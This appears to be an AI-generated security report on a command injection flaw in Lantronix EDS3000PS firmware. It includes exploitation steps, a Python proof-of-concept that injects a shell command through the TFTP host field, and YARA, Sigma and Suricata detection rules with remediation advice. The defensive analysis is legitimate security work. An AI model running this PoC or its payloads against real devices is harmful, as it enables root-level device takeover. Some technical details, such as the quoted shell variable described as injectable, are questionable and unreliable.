CVE-2025-67041

Executive Summary

CVE-2025-67041 is a critical command injection vulnerability discovered in the Lantronix EDS3000PS device, specifically in firmware version 3.1.0.0R2. The flaw resides in the TFTP client functionality accessible via the Filesystem Browser page. The host parameter is not properly sanitized, allowing an authenticated attacker to escape the intended command and execute arbitrary commands with root privileges. This vulnerability poses a severe risk to network infrastructure, enabling full device compromise, data exfiltration, and lateral movement within the network. No official patch is currently available, and the vendor has not released a security advisory.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device.

CVSS Breakdown & Threat Level

• CVSS Score: 9.9 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – An attacker needs valid credentials to access the web interface.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The exploit does not affect other components.
• Confidentiality Impact: High (C:H) – Full read access to the device filesystem.
• Integrity Impact: High (I:H) – Full write access to the device filesystem.
• Availability Impact: High (A:H) – Potential for denial of service or device bricking.

Threat Level: Critical. The combination of low attack complexity, network accessibility, and root-level command execution makes this a high-priority target for threat actors.

Deep Dive & Mechanics

The Lantronix EDS3000PS is a managed power distribution unit (PDU) used in data centers. The web-based management interface includes a Filesystem Browser page that allows users to upload and download files via TFTP. The TFTP client functionality takes a host parameter to specify the TFTP server IP address.

The vulnerability arises because the host parameter is passed directly to a shell command without proper sanitization or escaping. An attacker can inject shell metacharacters (e.g., ;, |, &&, `) to break out of the intended TFTP command and execute arbitrary commands.

Example of vulnerable code (pseudocode):

tftp -g -r $filename $host

If an attacker provides host as 192.168.1.1; id, the executed command becomes:

tftp -g -r $filename 192.168.1.1; id

This results in the id command being executed after the TFTP command completes (or fails), with root privileges.

Vulnerable vs. Patched Code

Vulnerable Code (Lantronix EDS3000PS 3.1.0.0R2):

#!/bin/sh
# TFTP download function
tftp -g -r "$1" "$2"

Where $1 is the filename and $2 is the host parameter, unsanitized.

Patched Code (Hypothetical):

#!/bin/sh
# TFTP download function with input validation
# Validate host parameter: only allow IP addresses or hostnames
if echo "$2" | grep -qE '^[a-zA-Z0-9.-]+$'; then
    tftp -g -r "$1" "$2"
else
    echo "Invalid host parameter"
    exit 1
fi

The patched version validates the host parameter against a whitelist of allowed characters (alphanumeric, dots, hyphens) and rejects any input containing shell metacharacters.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to the Lantronix EDS3000PS web interface with valid credentials.
• Network connectivity to the device.

Exploitation Steps:

1. Log in to the web interface.
2. Navigate to the Filesystem Browser page.
3. In the TFTP client section, set the host parameter to a malicious payload.
4. Example payload: 192.168.1.1; id > /tmp/exploit.txt
5. Initiate the TFTP download. The command id will execute, writing output to /tmp/exploit.txt.
6. Retrieve the output by browsing the filesystem or using another command.

Proof-of-Concept (PoC) Script:

import requests

target = "http://192.168.1.100"
username = "admin"
password = "admin"

session = requests.Session()
login_data = {"username": username, "password": password}
session.post(f"{target}/login", data=login_data)

# Command injection payload
payload = "192.168.1.1; id > /tmp/pwned.txt"
filesystem_data = {"host": payload, "filename": "test.txt"}
session.post(f"{target}/filesystem/tftp", data=filesystem_data)

print("Exploit executed. Check /tmp/pwned.txt")

Blue Team

Detection Steps:

1. Monitor web server logs for unusual host parameter values containing shell metacharacters (;, |, &&, `).
2. Enable command logging on the device (if available) to capture executed commands.
3. Use network monitoring to detect outbound TFTP connections to unexpected IP addresses.
4. Implement strict input validation on the web interface (if possible) to block malicious characters.

Honeypot Strategy:

Deploy a fake Lantronix EDS3000PS web interface that logs all host parameter values. Analyze logs for injection attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound TFTP connections (UDP port 69) to unusual IP addresses.
  • HTTP POST requests to /filesystem/tftp with host parameter containing shell metacharacters.
• File System IOCs:
  • Unexpected files in /tmp/ directory (e.g., pwned.txt, exploit.txt).
  • Modified system binaries or configuration files.
• Process IOCs:
  • Execution of tftp command with unusual arguments.
  • Spawning of shell processes (e.g., /bin/sh) from the web server process.

Detection Engineering

YARA Rule

rule CVE_2025_67041_Lantronix_TFTP_Injection {
    meta:
        description = "Detects command injection attempts in Lantronix EDS3000PS TFTP host parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67041"
    strings:
        $injection1 = /host=[^&]*[;&|`$]/
        $injection2 = /host=[^&]*\b(?:id|cat|ls|whoami|uname)\b/
    condition:
        any of them
}

Sigma Rule

title: Lantronix EDS3000PS TFTP Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests to Lantronix EDS3000PS Filesystem Browser with suspicious host parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/filesystem/tftp'
        cs-uri-query|contains: 'host='
    filter:
        cs-uri-query|re: 'host=[a-zA-Z0-9.-]+$'
    condition: selection and not filter
falsepositives:
    - Legitimate TFTP server hostnames with special characters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-67041 Lantronix EDS3000PS TFTP Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/filesystem/tftp"; http_uri; content:"host="; http_client_body; pcre:"/host=[^&]*[;&|`$]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable TFTP client functionality on the Filesystem Browser page if not required.
2. Restrict network access to the web interface using firewall rules (allow only trusted IPs).
3. Change default credentials and enforce strong password policies.
4. Monitor logs for exploitation attempts using the provided detection rules.

Long-Term Fix:

• Vendor Patch: Await an official firmware update from Lantronix. Contact Lantronix support for a timeline.
• Workaround: If patching is not possible, implement a reverse proxy with input validation to sanitize the host parameter before it reaches the device.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.